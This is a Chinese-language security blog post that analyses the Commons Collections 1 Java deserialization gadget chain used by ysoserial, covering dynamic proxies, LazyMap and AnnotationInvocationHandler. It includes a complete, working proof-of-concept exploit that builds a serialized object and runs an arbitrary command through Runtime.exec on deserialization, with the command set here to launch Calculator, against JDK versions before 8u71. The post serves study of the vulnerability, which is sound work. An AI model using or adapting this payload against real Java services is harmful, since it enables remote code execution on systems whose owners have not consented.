CommonsCollections1
这条是ysoserial中的CC1利用链。在ysoserial中没有用到TransformedMap,而是改用了LazyMap,并且使用到了Java对象代理。
- 这条链在Java 8u71以后就不能利用了,这里使用的环境是JDK8u66
- 取消勾选此处两个
Enable
IDEA中Debug时调试器会调用一些toString方法,从而造成非预期的命令执行
Java对象代理
Java对象代理,可以通过代理来操作一个真正的实例对象,通过代理模式来重写那些需要增强的原对象的方法
如果想劫持一个对象内部的方法调用,需要用到java.reflect.Proxy#newProxyInstance
- 第一个参数是
ClassLoader
,默认即可; - 第二个参数是我们需要代理的对象集合;
- 第三个参数是一个实现了
InvocationHandler
接口的对象,里面包含了具体代理的逻辑
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[] {Map.class},
handler
);
创建一个代理类
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class ExampleInvocationHandler implements InvocationHandler {
protected Map map;
public ExampleInvocationHandler(Map map) {
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable{
System.out.println("Hook Method: " + method.getName());
if (method.getName().compareTo("get") == 0) {
return "Hacked Object";
}
return method.invoke(this.map, args);
}
}
实现,创建一个App.java
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class App {
public static void main(String[] args) throws Exception {
InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
// 实例化代理类
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[] {Map.class},
handler
);
proxyMap.put("hello", "world");
// 当方法为get时触发代理类中的函数
String res = (String) proxyMap.get("hello");
System.out.println(res);
}
}
/* 输出结果
Hook Method: put
Hook Method: get
Hacked Object
*/
这里可以看到
- 动态代理对象
proxyMap
调用的方法都会被转发InvocationHandler
接口类的invoke()
方法进行处理,如这里的put()/get()
- 另外调用
get()
时触发函数,劫持返回内容,输出了Hacked
而不是world
LazyMap
之前以为这就是在解决CommonCollections1这个利用链在高版本Java中不可用的问题。其实不然,即使使用LazyMap仍然无法在高版本的Java中使用这条利用链,主要原因还是出在AnnotationInvocationHandler
这个类的修改上
LazyMap的漏洞触发点和TransformedMap唯一的差别是:
- TransformedMap是在写入元素的时候执行
transform
- 而LazyMap是在其
get
方法中执行的factory.transform()
。LazyMap在get
找不到值时,就会调用transform
去获取一个值
构造POC
LazyMap和TransformedMap都来自Common-Collections库,并继承AbstractMapDecorator。需要现在LazyMap中找到调用transform方法的地方
- 这里可以复用
CommonCollections
的前半段POC,TransformedMap
改为LazyMap
,运行一下可以正常弹出计算器
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
// Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
outerMap.get("test");
}
}
寻找漏洞触发点
- 跟入
LazyMap.decorate
方法,此处调用LazyMap
的构造函数,传入的Transformer
赋值给factory
变量
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = FactoryTransformer.getInstance(factory);
}
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
- 在下面的
get()
方法中触发了transform()
,但前提条件是LazyMap在get
找不到值,即Key不在Map中,才会进入if
循环,调用transform
去获取一个Value并放入Map中
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
- 但
AnnotationInvocationHandler
的readObject
方法中没有直接调用到Map的get()
,而是在invoke()
方法中进行了调用
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
整理一下,这里大致利用路径为:
AnnotationInvocationHandler.readObject()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
- 剩余的几条
Transformer
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
那么如何调用invoke
呢,此时就需要用到了Java的对象代理
回看sun.reflect.annotation.AnnotationInvocationHandler
,会发现实际上这个类就是一个InvocationHandler。如果将这个对象用Proxy进行代理,那么在readObject
的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke
方法中,进而触发我们的LazyMap#get
修改POC
前面的POC跟上一篇的Demo一样,都是手动触发漏洞。这里需要构造为readObject
触发利用链
- 先注释触发漏洞的
get()
方法,然后实现AnnotationInvocationHandler
的Proxy
代理类
// outerMap.get("test");
// 获取AnnotationInvocationHandler的构造函数
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 利用构造函数实例化,创建与outerMap关联的InvocationHandler
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
// 实例化代理对象,proxyMap调用的方法都会被转发InvocationHandler#invoke方法
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[] {Map.class},
handler
);
- 此时直接对
proxyMap
进行序列化是不会执行命令的,因为前面创建的是与outerMap
关联的InvocationHandler
(第9行),因此需要再用AnnotationInvocationHandler
对这个proxyMap
进行包裹
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
- 后续再构造序列化和反序列的操作,另外前文说了,LazyMap仍然无法解决CommonCollections1这条利用链在高版本Java(8u71以后)中的使用问题,所以这里需要在8u71之前的版本才能成功运行并弹出计算器
完整代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
// Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
// 获取AnnotationInvocationHandler的构造函数
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 利用构造函数实例化,创建与outerMap关联的InvocationHandler
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
// 实例化代理对象
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[] {Map.class},
handler
);
// 使用InvocationHandler对proxyMap重新包裹
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
// Serialization
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler);
System.out.println(baos);
// Deserialization
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object o = (Object) ois.readObject();
ois.close();
bais.close();
oos.close();
baos.close();
}
}
其它
- 发现ysoserial中的Transformer数组最后增加了一个
ConstantTransformer(1)
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] { String.class },
execArgs
),
new ConstantTransformer(1)
};
前面的POC运行后报错如下:
添加ConstantTransformer(1)
后报错如下:
版权属于:Naraku
本文链接:https://www.naraku.cn/posts/120.html
本站所有原创文章均采用 知识共享署名-非商业-禁止演绎4.0国际许可证 。如需转载请务必注明出处并保留原文链接,谢谢~